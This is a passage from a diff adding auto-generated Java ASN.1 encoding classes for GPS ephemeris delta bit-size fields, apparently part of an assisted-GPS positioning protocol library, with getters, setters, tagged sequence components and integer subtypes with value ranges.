+ */
+ public void setBitsize_delta_cic(Asn1Object value) {
+ this.bitsize_delta_cic_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_cicType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cicType setBitsize_delta_cicToNewInstance() {
+ bitsize_delta_cic_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_cicType();
+ return bitsize_delta_cic_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_cucType bitsize_delta_cuc_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cucType getBitsize_delta_cuc() {
+ return bitsize_delta_cuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_cucType
+ */
+ public void setBitsize_delta_cuc(Asn1Object value) {
+ this.bitsize_delta_cuc_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_cucType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cucType setBitsize_delta_cucToNewInstance() {
+ bitsize_delta_cuc_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_cucType();
+ return bitsize_delta_cuc_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType bitsize_delta_tgd_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType getBitsize_delta_tgd() {
+ return bitsize_delta_tgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType
+ */
+ public void setBitsize_delta_tgd(Asn1Object value) {
+ this.bitsize_delta_tgd_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType setBitsize_delta_tgdToNewInstance() {
+ bitsize_delta_tgd_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType();
+ return bitsize_delta_tgd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omega();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omega : "
+ + getBitsize_delta_omega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_deltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_deltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_deltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_deltaN : "
+ + getBitsize_delta_deltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_m0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_m0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_m0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_m0 : "
+ + getBitsize_delta_m0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omegadot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omegadot();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omegadotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omegadot : "
+ + getBitsize_delta_omegadot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_e() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_e();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_eToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_eType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_e : "
+ + getBitsize_delta_e().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_idot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_idot();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_idotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_idotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_idot : "
+ + getBitsize_delta_idot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_sqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_sqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_sqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_sqrtA : "
+ + getBitsize_delta_sqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_i0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_i0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_i0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_i0 : "
+ + getBitsize_delta_i0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omega0 : "
+ + getBitsize_delta_omega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_crs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_crs();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_crsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_crsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_crs : "
+ + getBitsize_delta_crs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cis();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_cisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cis : "
+ + getBitsize_delta_cis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cus();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_cusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cus : "
+ + getBitsize_delta_cus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_crc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_crc();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_crcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_crcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_crc : "
+ + getBitsize_delta_crc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_cicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cic : "
+ + getBitsize_delta_cic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_cucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cuc : "
+ + getBitsize_delta_cuc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_tgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_tgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_tgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.bitsize_delta_tgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_tgd : "
+ + getBitsize_delta_tgd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omegaType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omegaType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegaType from encoded stream.
+ */
+ public static bitsize_delta_omegaType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omegaType result = new bitsize_delta_omegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegaType from encoded stream.
+ */
+ public static bitsize_delta_omegaType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omegaType result = new bitsize_delta_omegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_deltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_deltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_deltaNType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_deltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_deltaNType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_deltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_deltaNType from encoded stream.
+ */
+ public static bitsize_delta_deltaNType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_deltaNType result = new bitsize_delta_deltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_deltaNType from encoded stream.
+ */
+ public static bitsize_delta_deltaNType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_deltaNType result = new bitsize_delta_deltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_deltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_m0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_m0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_m0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_m0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_m0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_m0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_m0Type from encoded stream.
+ */
+ public static bitsize_delta_m0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_m0Type result = new bitsize_delta_m0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_m0Type from encoded stream.
+ */
+ public static bitsize_delta_m0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_m0Type result = new bitsize_delta_m0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_m0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omegadotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omegadotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omegadotType() {
+ super();
+ setValueRange("1", "24");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omegadotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omegadotType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omegadotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegadotType from encoded stream.
+ */
+ public static bitsize_delta_omegadotType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omegadotType result = new bitsize_delta_omegadotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegadotType from encoded stream.
+ */
+ public static bitsize_delta_omegadotType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omegadotType result = new bitsize_delta_omegadotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omegadotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_eType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_eType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_eType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_eType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_eType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_eType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_eType from encoded stream.
+ */
+ public static bitsize_delta_eType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_eType result = new bitsize_delta_eType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_eType from encoded stream.
+ */
+ public static bitsize_delta_eType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_eType result = new bitsize_delta_eType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_eType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_idotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_idotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_idotType() {
+ super();
+ setValueRange("1", "14");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_idotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_idotType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_idotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_idotType from encoded stream.
+ */
+ public static bitsize_delta_idotType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_idotType result = new bitsize_delta_idotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_idotType from encoded stream.
+ */
+ public static bitsize_delta_idotType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_idotType result = new bitsize_delta_idotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_idotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_sqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_sqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_sqrtAType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
